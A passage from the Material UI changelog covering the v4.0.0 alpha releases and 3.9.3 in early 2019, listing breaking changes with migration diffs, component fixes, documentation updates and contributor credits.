possible!\n\nHere are some highlights ✨:\n\n- 🔥 Many new TypeScript & hook demos @eluchsinger, @sperry94, @Dudrie.\n- 🎀 5 more core components migrated from Classes to Hooks @joshwooding.\n- ⚛️ A simpler server-side rendering API (#15030).\n- 💅 Better typography defaults (#15100) @oliviertassinari\n- And many more 🐛 bug fixes and 💄 improvements.\n\n### `@material-ui/core@v4.0.0-alpha.6`\n\n#### Breaking Changes\n\n- [Typography] Better defaults (#15100) @oliviertassinari\n  - Change the default variant from `body2` to `body1`.\n    A font size of 16px is a better default than 14px.\n    Bootstrap, material.io or even our documentation use 16px as a default font size.\n    14px like Ant Design is understandable as Chinese users have a different alphabet.\n    We document 12px as the default font size for Japanese.\n  - Remove the default color from the typography variants.\n    The color should inherit most of the time. It's the default behavior of the web.\n  - Rename `color=\"default\"` to `color=\"initial\"` following the logic of #13028.\n    The usage of _default_ should be avoided, it lakes semantic.\n\n- [Container] Move to the core (#15062) @oliviertassinari\n\n#### Changes\n\n- [Box] Use the default theme (#15019) @apanizo\n- [SwipeableDrawer] Ignore open swipe if it didn't start on the swipe area (#15045) @leMaik\n- [Divider] Enable component generic props (#15040) @StevenGodin\n- [ListItem] Add type test for button prop (#15049) @eps1lon\n- [Button] Fix typing for type-attribute (#15077) @karlbohlmark\n- [RadioGroup] Remove cloneElement, use the context (#15069) @oliviertassinari\n- [Popover] Add warning to Popover if anchorRef is not visible (#15090) @alexmironof\n- [MobileStepper] Support variant \"text\" (#15108) @AcidRaZor\n- [Tabs] Update so that tabs keep equal widths (#15114) @sosaucily\n\n### `@material-ui/styles@v4.0.0-alpha.6`\n\n- [styles] Fix IE11 issue (#15034) @oliviertassinari\n- [styles] Use the hook directly in styled() (#15029) @oliviertassinari\n- [styles] Add a new injectFirst prop (#15028) @oliviertassinari\n- [styles] Go back to index counter (#15044) @oliviertassinari\n- [styles] Server-side rendering API (#15030) @oliviertassinari\n- [styled] Correct doc and typings for styled with theme (#15004) @sveyret\n\n### `@material-ui/lab@v4.0.0-alpha.6`\n\n- [Slider] Fix onChange not being fired on single touch (#14998) @ahockersten\n\n### Docs\n\n- [docs] Add keyframes in the v3 -> v4 upgrade guide (#15039) @oliviertassinari\n- [docs] Migrate one demo to the hooks (#15031) @oliviertassinari\n- [docs] Add TypeScript demos for Dividers (#15037) @eluchsinger\n- [docs] Add Chip TypeScript demo for Chip array (#15050) @sperry94\n- [docs] Add MQTT Explorer to showcases (#15033) @thomasnordquist\n- [docs] Fix CustomizedTabs demo (#15065) @HaNdTriX\n- [docs] Add a new site to showcase (learnseeker) (#15064) @ravishwetha\n- [docs] Add Tabs TypeScript demo (#15053) @sperry94\n- [docs] Migrate docs' badge page to hooks (#15109) @apanizo\n- [docs] Migrate docs' buttons page to hooks (#15110) @apanizo\n- [docs] Add Pickers TypeScript demos (#15103) @sperry94\n- [docs] Migrate Avatar demo page to the hooks (#15116) @rick-mo\n- [docs] Add Snackbars TypeScript Demos (#15087) @sperry94\n- [docs] Add Tooltip TypeScript demos (#15061) @Dudrie\n\n### Core\n\n- [ToggleButtonGroup] Convert to function component (#15025) @joshwooding\n- [ToggleButton] Convert to function component (#14965) @joshwooding\n- [Fade] Convert to function component (#15027) @joshwooding\n- [performance] Add live pages (#15046) @oliviertassinari\n- [ExpansionPanelSummary] Convert to function component (#15043) @joshwooding\n- [test] Add conformance suite (#14958) @eps1lon\n- [Menu] Convert to function component (#15068) @joshwooding\n- [test] Update enzyme (#14987) @eps1lon\n- [core] Batch of fixes (#15115) @oliviertassinari\n\n## 3.9.3\n\n_Mar 28, 2019_\n\nA big thanks to the 11 contributors who made this release possible!\n\nThis release fixes an important regression with TypeScript: https://github.com/mui/material-ui/issues/15076.\n\n### `@material-ui/core@v3.9.3`\n\n- [Select] Open select when focused with enter (#14452) @oknechirik\n- [Tooltip] Fix children focus detection (#14496) @codeheroics\n- [SwipeableDrawer] Ignore open swipe if it didn't start on the swipe area (#15038) @leMaik\n- [Button] Narrow type for `type` prop (#15096) @karlbohlmark\n\n### Docs\n\n- [docs] Fix hooks codesandbox broken (#14553) @Abbo44\n- [docs] Fix typo in simple breadcrumbs example (#14575) @AndrewUsher\n- [blog] Material UI Developer Survey 2019 (#14614) @oliviertassinari\n- [docs] Change Gitter to Spectrum (#14668) @mbrookes\n- [docs] Update link to https://cssinjs.org/jss-api/ (#14788) @monicatie\n- [docs] Add Algolia metadata (#14835) @oliviertassinari\n- [docs] Improve overrides.md wording (#14403) @i0\n- [docs] Grammar fix (#14960) @nateq314\n\n### Core\n\nN/A\n\n## 4.0.0-alpha.5\n\n_Mar 23, 2019_\n\nA A big thanks to the 23 contributors who made this release possible!\n\nHere are some highlights ✨:\n\n- 📝 A new ROADMAP (#14923).\n- 📝 Many new TypeScript demos @vitkon, @cojennin, @Dudrie, @rahmatrhd, @jasondashwang.\n- And many more 🐛 bug fixes and 💄 improvements.\n\n### `@material-ui/core@v4.0.0-alpha.5`\n\n#### Breaking Changes\n\n- [TextField] Prevent fullwidth textfield expanding the screen (#14988) @FMcIntosh\n\n  Change the default box sizing model of the `InputBase`. It uses the following CSS now:\n\n  ```css\n  box-sizing: border-box;\n  ```\n\n  It solves issues with the `fullWidth` prop.\n\n- [Modal] Ignore event.defaultPrevented (#14991) @oliviertassinari\n\n  The new logic closes the Modal even if `event.preventDefault()` is called on the key down escape event.\n  `event.preventDefault()` is meant to stop default behaviors like clicking a checkbox to check it, hitting a button to submit a form, and hitting left arrow to move the cursor in a text input etc.\n  Only special HTML elements have these default behaviors.\n  You should use `event.stopPropagation()` if you don't want to trigger an `onClose` event on the modal.\n\n#### Changes\n\n- [Popover] Correct warning for tall component (#14925) @vitkon\n- [List] Memoize context value (#14934) @mkermani144\n- [Typography] Add a custom, self-hosted font demo (#14928) @johnrichter\n- [RadioGroup] Warn for uncontrolled <-> controlled switch (#14878) @manonthemat\n- [Slide] Attach ref to child instead of Transition (#14847) @eps1lon\n- [Grid] Fix zeroMinWidth proptype warning (#14967) @pmacom\n- [TextField] Reduce the specificity (#14953) @oliviertassinari\n- [MenuList] Convert to a function component (#14865) @ryancogswell\n- [Popper] Add ClickAwayListener documentation (#14986) @charlax\n- [RadioGroup] Convert to a function component (#14964) @joshwooding\n- [Tab] Enable generic props (#15003) @caroe233\n- [Tooltip] Make enterTouchDelay match the specification (#15008) @devsumanmdn\n- [Chip] Support pressing delete to delete a chip (#14978) @keeslinp\n- [Box] Improve TypeScript definitions (#15024) @pheuter\n\n### `@material-ui/styles@v4.0.0-alpha.5`\n\n- [test] Remove test-only class wrappers for higher-order components (#15017) @eps1lon\n\n### Docs\n\n- [docs] Remove flow examples as outdated (#14919) @oliviertassinari\n- [docs] Enable German (#14927) @mbrookes\n- [docs] Add react-basket to related projects (#14941) @mbrn\n- [docs] Update the ROADMAP (#14923) @oliviertassinari\n- [docs] Take advantage of the default theme (#14945) @oliviertassinari\n- [docs] Improve the styles interpolation documentation (#14940) @oliviertassinari\n- [docs] Add Avatar TypeScript demos (#14954) @cojennin\n- [docs] Add PaperSheet TypeScript demo (#14952) @vitkon\n- [docs] Remove all the .hooks.js files (#14947) @oliviertassinari\n- [docs] Add Badge TypeScript demo (#14969) @vitkon\n- [docs] Grammar fix in FAQ (#14974) @rtalvarez\n- [docs] Document how to nest style selectors (#14957) @cojennin\n- [docs] BottomNavigation TypeScript docs (#14979) @vitkon\n- [docs] Add some Card TypeScript demos (#15011) @Dudrie\n- [docs] Add Badge TypeScript demo for Maximum Value (#15013) @rahmatrhd\n- [docs] Add TypeScript demos for Simple and Spanning Table (#14985) @jasondashwang\n- [docs] Add note to docs README regarding translations (#15020) @mbrookes\n- [docs] Content's max width changed for large displays (#15014) @kenzhemir\n\n### Core\n\n- [core] Refactor a subset of components from classes to functions (#14854) @mbrookes\n- [benchmark] Use deterministic version tags (#14968) @eps1lon\n- [test] Remove test-only class wrappers for higher-order components (#15017) @eps1lon\n\n## 4.0.0-alpha.4\n\n_Mar 17, 2019_\n\nA A big thanks to the 17 contributors who made this release possible!\n\nHere are some highlights ✨:\n\n- Improve the TypeScript definitions of @material-ui/styles @VincentLanglet.\n- Prepare the migration of more TypeScript demos (#14896) @eps1lon.\n- Complete the i18n support for the documentation (#14838) @oliviertassinari.\n- And many more 🐛 bug fixes and 📝 documentation improvements.\n\n### `@material-ui/core@v4.0.0-alpha.4`\n\n#### Breaking Changes\n\n- [ButtonBase] Require host or ref forwarding components (#13664) @eps1lon\n- [SvgIcon] Rename nativeColor -> htmlColor (#14863) @oliviertassinari\n\n  React solved the same problem with the `for` HTML attribute, they have decided to call the prop `htmlFor`. This change follows the same reasoning.\n\n  ```diff\n  -<AddIcon nativeColor={secondary.contrastText} />\n  +<AddIcon htmlColor={secondary.contrastText} />\n  ```\n\n- [Divider] Remove the deprecated inset prop (#14826) @joshwooding\n\n  ```diff\n  -<Divider inset />\n  +<Divider variant=\"inset\" />\n  ```\n\n- [Box] Remove the unstable prefix & import the right version (#14845) @pheuter\n\n  ```diff\n  -import { unstable_Box as Box } from '@material-ui/core/Box';\n  +import Box from '@material-ui/core/Box';\n  ```\n\n#### Changes\n\n- [Grid] Adding missing 'spacing-xs-\\*' to TypeScript definition (#14859) @scott-martin\n- [Tabs] Fix an infinite loop (#14664) @caroe233\n- [NoSsr] Add missing defer prop to TypeScript definition (#14869) @DaleJefferson\n- [core] Remove dom-helpers dependency (#14877) @oliviertassinari\n- [TextField] Add typing for theme wide props override (#14879) @C-Rodg\n- [Autocomplete] Add a downshift variant demo (#14881) @ekoeditaa\n- [Popover][popper] Warn when `anchorEl` is invalid (#13468) @Andarist\n- [LinearProgress] Improve customization capability (#14882) @giuliogallerini\n- [Popover] Fix PaperProps classname concat (#14902) @vitkon\n- [MenuItem] Add buttonRef (and other button props) type (#14772) @VincentLanglet\n- [TouchRipple] Remove findDOMNode usage (#14825) @eps1lon\n- [ExpansionPanelSummary] Simplify overrides (#14828) @TroySchmidt\n- [Popper] Use refs instead of findDOMNode (#14829) @eps1lon\n- [Tab] Fix alignment when using multiple children (#14844) @HaNdTriX\n- [TextField] Convert to function component (#14833) @eps1lon\n- [Table] Fix demo parse rowsPerPage value as an integer (#14848) @SimplyAhmazing\n\n### `@material-ui/styles@v4.0.0-alpha.4`\n\n- [styles] Change material-ui/styles folder structure (#14868) @VincentLanglet\n- [styles] Add WithThemeCreator typing (#14856) @VincentLanglet\n- [styles] Add types for defaultTheme option in makeStyles (#14862) @vitkon\n- [styles] Make CSSProperties public (#14802) @VincentLanglet\n\n### `@material-ui/lab@v4.0.0-alpha.4`\n\n- [Slider] Fix possible touchstart leak (#14837) @eps1lon\n\n### Docs\n\n- [docs] Prepare full TypeScript demos (#14896) @eps1lon\n- [docs] Improve documentation for new component + ref behavior (#14883) @eps1lon\n- [docs] Add perf section to ExpansionPanel (#14903) @eps1lon\n- [docs] Simplify the /examples (#14822) @oliviertassinari\n- [docs] Add ssr-next example (#14823) @oliviertassinari\n- [docs] Add missing breaking changes from #14795 (#14824) @eps1lon\n- [docs] Minor fixes to system demos (#14831) @jo shwooding\n- Complete the i18n support for the documentation] Enable the i18n search (#14838) @oliviertassinari\n- [docs] Fix babel generator extra line (#14849) @VincentLanglet\n- [docs] Remove unnecessary findDOMNode usage (#14836) @eps1lon\n\n### Core\n\n- [core] Only import from top or 2nd level (#14888) @eps1lon\n- [test] Leaner ESLint config (#14901) @eps1lon\n- [core] Upgrade the dev dependencies (#14911) @oliviertassinari\n- [core] Stop using @types/jss (#14852) @VincentLanglet\n- [core] Babel plugin unwrap createStyles now handle material-ui/styles package (#14850) @VincentLanglet\n- [test] Fix unwrapCreateStyles tests for windows (#14832) @ryancogswell\n\n## 4.0.0-alpha.3\n\n_Mar 10, 2019_\n\nA A big thanks to the 14 contributors who made this release possible!\n\nHere are some highlights ✨:\n\n- ⚛️ Increase the usage of `React.forwardRef()` (#14714, #14737, #14738, #14775) @eps1lon.\n- 💅 Remove the old styles modules (#14767) @oliviertassinari.\n- 📝 Migrate many demos to use the hooks API (#14805) @adeelibr.\n- And many more 🐛 bug fixes and 📝 documentation improvements.\n\n### `@material-ui/core@v4.0.0-alpha.3`\n\n#### Breaking Changes\n\n- [useMediaQuery] Remove unstable prefix (#14593)\n\n  ```diff\n  -import { unstable_useMediaQuery as useMediaQuery } from '@material-ui/core/useMediaQuery';\n  +import useMediaQuery from '@material-ui/core/useMediaQuery';\n  ```\n\n- [DialogActions] `action` CSS class is applied to root element if `disableActionSpacing={false}` instead of children (#14795)\n- [DialogContentText] Use typography variant `body1` instead of `subtitle1` (#14795)\n\n- [MenuItem] Remove fixed height (#14799) @KyruCabading\n  Remove the fixed height of the MenuItem.\n  The padding and line-height are used by the browser to compute the height.\n\n#### Changes\n\n- [Tabs] Forward refs (#14714) @eps1lon\n- [TextField] New filled variant override example (#14725) @oliviertassinari\n- [FilledInput] Simplify border overrides (#14719) @C-Rodg\n- [CssBaseline] Apply body2 styling to the body element (#14729) @joshwooding\n- [IconButton] Add a size prop (#14649) @leMaik\n- [Popover] Forward refs (#14737) @eps1lon\n- [Modal] Forward refs (#14738) @eps1lon\n- [createSpacing] Narrow return type (#14745) @eps1lon\n- [Chip] Correct Chip TypeScript Definition Class Keys (#14750) @cvanem\n- [MenuList] Remove focus method and test dependencies on instance methods (#14757) @ryancogswell\n- [Dialog] Forward refs (#14775) @eps1lon\n- [IconButton] Implement a new edge prop (#14758) @jedwards1211\n- [Dialog] Add a dividers boolean prop (#14795) @oliviertassinari\n\n### `@material-ui/styles@v4.0.0-alpha.3`\n\n#### Breaking Changes\n\n- [styles] Remove the old styles modules (#14767) @oliviertassinari\n  Isolation of the styling solution of the core components in a dedicated package.\n  - Remove the `MuiThemeProvider` component:\n\n    ```diff\n    -import { MuiThemeProvider } from '@material-ui/core/styles';\n    +import { ThemeProvider } from '@material-ui/styles';\n    ```\n\n  - Remove the `@material-ui/styles/install` module.\n\n    ```diff\n    -import { install } from '@material-ui/styles';\n    -install();\n    ```\n\n#### Changes\n\n- [styles] Improve ref forwarding (#13676) @eps1lon\n- [styles] Use hoist-non-react-statics (#14722) @oliviertassinari\n\n### `@material-ui/lab@v4.0.0-alpha.3`\n\n- [SpeedDial] Change actions background color (#14640) @hburrows\n- [SpeedDialAction] Pass onTouchEnd event onto called onClick handler (#14641) @hburrows\n\n### Docs\n\n- [docs] Fix Drawer demos accessibility (#14728) @tiagodreis\n- [docs] Add \"Portals\" to the styled components documentation (#14720) @C-Rodg\n- [docs] Specify PaletteIntention syntax (#14727) @ozydingo\n- [docs] Add button demos in TypeScript (#14739) @eps1lon\n- [docs] Document the migration from v3 to v4 (#14741) @oliviertassinari\n- [docs] before() is Mocha; beforeEach() is Jest (#14743) @masaok\n- [docs] Fix IE11 build (#14781) @oliviertassinari\n- [docs] Kill as many non hook demos as possible (#14805) @oliviertassinari\n- [docs] Prepare Google & Algolia i18n search + v3/v4 search (#14806) @oliviertassinari\n- [docs] Speed-up pull requests build (#14811) @oliviertassinari\n\n### Core\n\n- [test] Ignore the image load issue (#14723) @oliviertassinari\n- [icons] Fix builder failing on Windows (#14726) @joshwooding\n- [ci] Don't use -browser images (#14779) @eps1lon\n- [test] Increase the Codecov threshold (#14796) @oliviertassinari\n- [test] Disable the user sandbox security feature (#14804) @oliviertassinari\n- [core] Use hoist-non-react-statics (#14722) @oliviertassinari\n\n## 4.0.0-alpha.2\n\n_Mar 3, 2019_\n\nA A big thanks to the 23 contributors who made this release possible!\n\nHere are some highlights ✨:\n\n- Keep working on accessibility (#14465, #14545, #14661) @eps1lon, @oliviertassinari.\n- Add the Table dense support (#14561) @leMaik.\n- Change the bundle size tracking strategy (copy React) (#14587) @eps1lon.\n- Introduce a new Container component & new full layout demos (#14499) @oliviertassinari.\n- Start removing the need for findDOMNode() (#14536) @eps1lon.\n- And many more 🐛 bug fixes and 📝 documentation improvements.\n\n### `@material-ui/core@v4.0.0-alpha.2`\n\n#### Breaking Changes\n\n- [Tabs] Simplify override (#14638) @oliviertassinari\n\n  We have removed the `labelContainer`, `label` and `labelWrapped` class keys.\n  We have removed 2 intermediary DOM elements.\n  You should be able to move the custom styles to the root class key.\n  ![wrapper](https://user-images.githubusercontent.com/3165635/53287870-53a35500-3782-11e9-9431-2d1a14a41be0.png)\n\n- [Table] Add dense support (#14561) @leMaik\n  - We have removed the deprecated numeric property.\n\n  ```diff\n  -<TableCell numeric>{row.calories}</TableCell>\n  +<TableCell align=\"right\">{row.calories}</TableCell>\n  ```\n\n  - We have removed the fixed height property on the table row.\n    The cell height is computed by the browser using the padding and line-height.\n  - The `dense` mode was promoted to a different property:\n\n  ```diff\n  -<TableCell padding=\"dense\" />\n  +<TableCell size=\"small\" />\n  ```\n\n- Every component except `Dialog`, `MenuList`, `Modal`, `Popover` and `Tabs` forward\n  their `innerRef` (#14536).\n\n  This is implemented by using `React.forwardRef`. This affects the internal component\n  tree and display name and therefore might break shallow or snapshot tests.\n  `innerRef` will no longer return a ref to the instance\n  (or nothing if the inner component is a function component) but a ref to its root component.\n  The corresponding API docs list the root component.\n\n#### Changes\n\n- [core] Improve a11y for Collapse, ExpansionPanel and Grow (#14598) @eps1lon\n- [Transitions] Increase minimal version of react-transition-group to 2.5.3 (#14612) @wilcoschoneveld\n- [ExpansionPanelSummary] Update docs (#14606) @ifndefdeadmau5\n- [ExpansionPanel] Add TransitionComponent prop (#14617) @ptbrowne\n- [Link] Color property is defined with a wrong type (#14631) @akellan\n- [Tooltip] Improve legibility (#14651) @leMaik\n- [Tabs] Fix variant missing in Tabs.d.ts (#14659) @Deturium\n- [Autocomplete] Improve demo (#14657) @tjmcewan\n- [Dialog] Support for print (#14660) @emildatcu\n- [TableSortLabel] Increase size and show on hover (#14650) @leMaik\n- [Modal] Fix autoFocus support (#14661) @oliviertassinari\n- [InputLabel] display: block as default (#14676) @johnloven\n- [InputBase] Add missing TypeScript class keys (#14684) @dmtrKovalenko\n- [ListItem] Fix listItem focus (#14680) @xs9627\n- [ExpansionPanel] Improve a11y (#14682) @eps1lon\n\n### `@material-ui/styles@v4.0.0-alpha.2`\n\n- [styles] Fix the theme update support (#14697) @oliviertassinari\n\n### `@material-ui/lab@v4.0.0-alpha.2`\n\n- [Slider] Pass current value to onDragStart/onDragEnd callback (#14475) @rejas\n- [Slider] Fix thumb creating scroll overflow (#14689) @xaviergonz\n- [Layout] New Container component (#14499) @oliviertassinari\n- [Container] Fix two exceptions (#14715) @oliviertassinari\n\n### `@material-ui/utils@v4.0.0-alpha.2`\n\n- [utils] Drop componentPropType in favor of PropTypes.elementType (#14602) @eps1lon\n\n### Docs\n\n- [MobileStepper] Remove unused classname in example (#14597) @charlax\n- [docs] Update the Team (#14613) @oliviertassinari\n- [docs] Solve Firefox middle click issue (#14623) @paol\n- [docs] Update ScrollDialog Demo for 4k (#14622) @AndrewUsher\n- [docs] Fix broken hash link in css-in-js (#14633) @furkle\n- [docs] Improve demo source discoverability (#14635) @eps1lon\n- [docs] Improve Grid limitations description (#14637) @ryancogswell\n- [docs] Fix minor issues with demo action tooltips (#14652) @eps1lon\n- [docs] Upgrade react-docgen (#14666) @eps1lon\n- [docs] Update bundle size strategy (#14662) @eps1lon\n- [docs] Minor next adjustments (#14679) @eps1lon\n- [docs] A grammar modification suggestion (#14671) @mataxxx5\n- [docs] Link the mui-tables project in the documentation (#14701) @parkerself22\n- [docs] Generate unique hash (#14703) @oliviertassinari\n- [docs] Add simple list TypeScript demo (#14485) @eps1lon\n- [docs] Fix wrong source code URLs (#14716) @oliviertassinari\n\n### Core\n\n- [core] Fix webstorm autocompletion (#14599) @eps1lon\n- [ci] Use dangerJS to report bundle size changes (#14587) @eps1lon\n- [ci] Various size snapshot enhancements (#14620) @eps1lon\n- [core] Solve Babel dependency issue (#14621) @AndrewUsher\n- [core] Add eslint-plugin-react-hooks (#14629) @eps1lon\n- [test] Fix size snapshot including peer dependencies (#14636) @eps1lon\n- [ci] Speedup and cleanup (#14643) @eps1lon\n- [test] Fix how menu items are found in MenuList integration tests (#14654) @ryancogswell\n- [core] Add tslint deprecation rule (#14675) @eps1lon\n- [typescript] Add regression test for popular hoc interop (#14688) @eps1lon\n- [core] Fix .yarnrc syntax (#14704) @joshwooding\n- [core] forward innerRef for certain components (#14536) @eps1lon\n- [core] Use official prop-type cache invalidation (#14699) @eps1lon\n\n## 4.0.0-alpha.1\n\n_Feb 20, 2019_\n\nA A big thanks to the 16 contributors who made this release possible!\n\nHere are some highlights ✨:\n\n- Important accessibility fixes (#14465, #14545) @eps1lon, @oliviertassinari\n- Improve the Gastby integration (we will continue working on it to get something awesome) (#14552)\n- Remove the deprecated Typography variants (#14562) @joshwooding\n- And many more 🐛 bug fixes and 📝 documentation improvements.\n\n### `@material-ui/core@v4.0.0-alpha.1`\n\n#### Breaking Changes\n\n- [Typography] Remove deprecated Typography variants (#14562) @joshwooding\n  - Remove the deprecated typography variants. You can upgrade by performing the following replacements:\n    - display4 => h1\n    - display3 => h2\n    - display2 => h3\n    - display1 => h4\n    - headline => h5\n    - title => h6\n    - subheading => subtitle1\n    - body2 => body1\n    - body1 (default) => body2 (default)\n  - Remove the opinionated `display: block` default typograpghy style.\n    You can use the new `display?: 'initial' | 'inline' | 'block';` property.\n  - Rename the `headlineMapping` property to better align with its purpose.\n\n  ```diff\n  -<MuiTypography headlineMapping={headlineMapping}>\n  +<MuiTypography variantMapping={variantMapping}>\n  ```\n\n- [InputLabel] Remove FormLabelClasses in favor of asterisk class (#14504) @umairfarooq44\n\nYou should be able to override all the styles of the FormLabel component using the CSS API of the InputLabel component. We do no longer need the `FormLabelClasses` property.\n\n```diff\n<InputLabel\n- FormLabelClasses={{ asterisk: 'bar' }}\n+ classes={{ asterisk: 'bar' }}\n>\n  Foo\n</InputLabel>\n```\n\n- [TablePagination] Only raise a warning when the page is out of range (#14534) @leMaik\n\nThe `TablePagination` component does no longer try to fix invalid (`page`, `count`, `rowsPerPage`) property combinations. It raises a warning instead.\n\n### Changes\n\n- [typescript] Fix theme.spacing to accept up to 4 arguments (#14539) @toshi1127\n- [Transition] Fix hidden children appearing in a11y tree (#14465) @eps1lon\n- [TablePagination] Fix style issue with rpp select (#14547) @antokara\n- [Modal] Improve the focus logic (#14545) @oliviertassinari\n\n### `@material-ui/styles@v4.0.0-alpha.1`\n\n#### Breaking Changes\n\n- [styles] Change the withTheme API (#14565) @oliviertassinari\n\nRemove the first option argument of `withTheme()`. The first argument was a placeholder for a potential future option. We have never found a need for it. It's time to remove this argument. It matches the Emotion and styled-components API.\n\n```diff\n-const DeepChild = withTheme()(DeepChildRaw);\n+const DeepChild = withTheme(DeepChildRaw);\n```\n\n#### Changes\n\n- [styles] Type ThemeProvider and getThemeProps generic (#14489) @igorbt\n- [styles] 100% test coverage (#14566) @oliviertassinari\n- [styles] Follow react docs for firstRender flag (#13607) @eps1lon\n- [styles] Add react-hot-loader support (#14583) @oliviertassinari\n- [styles] Warn if missing ThemeProvider (#14581) @oliviertassinari\n\n### `@material-ui/icons@v4.0.0-alpha.1`\n\n- [icons] Remove es folder (#14518) @mgansler\n\n### Docs\n\n- [docs] yarn command to add @material-ui/icons (#14502) @Inambe\n- [docs] Update CHANGELOG.md (#14516) @saculbr\n- [examples] Add lib to tsconfig (#14507) @eps1lon\n- [docs] Enable es, fr, pt & ru (#14537) @oliviertassinari\n- [docs] Add TypeScript demos for menus, fixes ClickAwayListener onClickAway type (#14535) @eps1lon\n- [docs] Update the styling of the TOC (#14520) @mbrookes\n- [docs] Update breakpoints.md for clarity (#14527) @matthewjwhitney\n- [docs] Fix Horizontal Non-linear Stepper demo (#14551) @SVTerziev\n- [docs] Update the branch for Crowdin (#14550) @mbrookes\n- [docs] Fix hooks codesandbox broken (#14553) @Abbo44\n- [docs] Fix CSS anchor link (#14554) @umairfarooq44\n- [examples] Improve the Gastby integration (#14552) @oliviertassinari\n- [docs] Add examples of global class names (#14563) @n-batalha\n- [docs] Change Gitter to Spectrum (#14558) @mbrookes\n- [docs] Add sections about translation contributions (#14571) @eps1lon\n- [docs] Localize the table of contents (#14548) @mbrookes\n\n### Core\n\n- [core] Convert remaining classNames usage (#14506) @eps1lon\n- [core] Fix Prettier on next branch (#14524) @joshwooding\n- [core] Fix some peer dependency warnings (#14572) @eps1lon\n\n## 4.0.0-alpha.0\n\n_Feb 12, 2019_\n\nThis is our first unstable release toward Material UI v4.0.0. We try to release a major every 6-12 months.\nThis gives us the opportunity to remove deprecated APIs, upgrade our peer dependencies and more importantly, keep up with the direction the community is taking.\n\n- You can find the documentation following this URL: https://mui.com/.\n- You can track our progress following this URL: https://github.com/mui/material-ui/milestone/25.\n\nA A big thanks to the 28 contributors who made this release possible!\n\nHere are some highlights ✨:\n\n- Increase React peer dependency to v16.8.0 (#14432) @oliviertassinari\n- Improve the spacing API (#14099) @ifndefdeadmau5\n- Improve ES modules tree shake-ability (#13391) @eps1lon\n- Remove recompose dependency (#14479)\n- And many more 🐛 bug fixes and 📝 documentation improvements.\n\n### `@material-ui/core@v4.0.0-alpha.0`\n\n#### Breaking Changes\n\n- [core] Increase React peer dependency to v16.8.0 (#14432) @oliviertassinari\n\n  The upgrade path to React 16.8.0 should be pretty easy for our users.\n  Introducing this breaking change in v4 enables the following:\n  - We can remove the recompose dependency and use the new `React.memo()` API.\n  - Before or after v4 is out, we can gradually migrate the core components to use the Hook API.\n\n- [Grid] Use a unitless spacing API (#14099) @ifndefdeadmau5\n\nIn order to support arbitrary spacing values and to remove the need to mentally count by 8, we are changing the spacing API:\n\n```diff\n  /**\n   * Defines the space between the type `item` component.\n   * It can only be used on a type `container` component.\n   */\n-  spacing: PropTypes.oneOf([0, 8, 16, 24, 32, 40]),\n+  spacing: PropTypes.oneOf([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]),\n```\n\nGoing forward, you can use the theme to implement a custom Grid spacing transformation function: https://mui.com/system/spacing/#transformation.\n\n- [theme] Make theme.palette.augmentColor() pure (#13899) @ryancogswell\n\nThe `theme.palette.augmentColor()` method no longer performs a side effect on its input color.\nIn order to use it correctly, you have to use the output of this function.\n\n```diff\n-const background = { main: color };\n-theme.palette.augmentColor(background);\n+const background = theme.palette.augmentColor({ main: color });\n\nconsole.log({ background });\n```\n\n- [core] Change UMD output name to 'MaterialUI' (#13142) @tkrotoff\n\n  This change eases the use of Material UI with a CDN:\n\n  ```diff\n  const {\n    Button,\n    TextField,\n  -} = window['material-ui'];\n  +} = MaterialUI;\n  ```\n\n  It's consistent with the other projects:\n  - material-ui => MaterialUI\n  - react-dom => ReactDOM\n  - prop-types => PropTypes\n\n- [Button] Remove deprecated props and styles (#14383) @mbrookes\n\nRemove the deprecated button flat, raised and fab variants:\n\n```diff\n-<Button variant=\"raised\" />\n+<Button variant=\"contained\" />\n```\n\n```diff\n-<Button variant=\"flat\" />\n+<Button variant=\"text\" />\n```\n\n```diff\n-import Button from '@material-ui/core/Button';\n-<Button variant=\"fab\" />\n+import Fab from '@material-ui/core/Fab';\n+<Fab />\n```\n\n- [core] Drop official node 6 support (#14379) @eps1lon\n\n### Deprecation\n\n- `theme.spacing.unit` usage is deprecated, you can use the new API (#14099) @ifndefdeadmau5:\n\n```diff\n    [theme.breakpoints.up('sm')]: {\n-     paddingTop: theme.spacing.unit * 12,\n+     paddingTop: theme.spacing(12),\n    },\n```\n\n_Tip: you can provide more than one argument: `theme.spacing(1, 2) // = '8px 16px'`_\n\n#### Changes\n\n- [ListItem] Improve phrasing of error message (#14437) @netzwerg\n- [styles] Replace classnames with clsx (#14152) @TrySound\n- [Modal] Make children property required (#14444) @erichodges\n- [Select] Open select when focused with enter (#14452) @oknechirik\n- [Popper] Add hook API demo (#14464) @oliviertassinari\n- [Breadcrumbs] Fix wrong aria label property (#14486) @MalignantShadow\n- [Tooltip] Fix children focus detection (#14496) @codeheroics\n- [MenuItem] Improve note about using ellipsis (#14371) @charlax\n- [Tabs] Fix scrollbar appearing briefly on scroller (#14384) @ekoeditaa\n- [Chip] Fix role prop when not clickable (#14365) @pandaiolo\n- [Box] Add typings (#14397) @eps1lon\n- [Dialog] Fix inconsistencies with scroll=\"body\" (#14398) @TomiCake\n- [TextField] Allow overriding default TextField props from the theme (#14252) @janowsiany\n- [Drawer] Add 'root' to class declaration (#14408) @sowings13\n- [theme] Improve the state warning (#14412) @oliviertassinari\n- [InputBase] Provide input adornments with FormControlContext (#14364) @mtidei\n\n### `@material-ui/styles@v4.0.0-alpha.0`\n\n- [core] Increase React peer dependency to v16.8.0 (#14432) @oliviertassinari\n\n### `@material-ui/system@v4.0.0-alpha.0`\n\n- [core] Increase React peer dependency to v16.8.0 (#14432) @oliviertassinari\n\n### `@material-ui/icons@v4.0.0-alpha.0`\n\n- [core] Increase React peer dependency to v16.8.0 (#14432) @oliviertassinari\n\n### `@material-ui/docs@v4.0.0-alpha.0`\n\n- [core] Increase React peer dependency to v16.8.0 (#14432) @oliviertassinari\n\n### `@material-ui/lab@v4.0.0-alpha.0`\n\n#### Breaking Changes\n\n- [Breadcrumbs] Move to the core (#14436) @oliviertassinari\n\n```diff\n-import Breadcrumbs from '@material-ui/lab/Breadcrumbs';\n+import Breadcrumbs from '@material-ui/core/Breadcrumbs';\n```\n\n- [ToggleButton] Update styles for Material v2 (#14278) @mbrookes\n\n⚠️ The height has changed - it might break your layout.\n\n#### Changes\n\n- [core] Increase React peer dependency to v16.8.0 (#14432) @oliviertassinari\n- [Slider] Fix a11y issues with the handle (#14461) @eps1lon\n\n### Docs\n\n- [docs] Improve overrides.md wording (#14403) @i0\n- [docs] Remove unneeded input from select docs (#14443) @eladmotola\n- [docs] Fix broken font-awesome icons in documentation (#14454) @EndiM\n- [docs] Reword certain phrases to 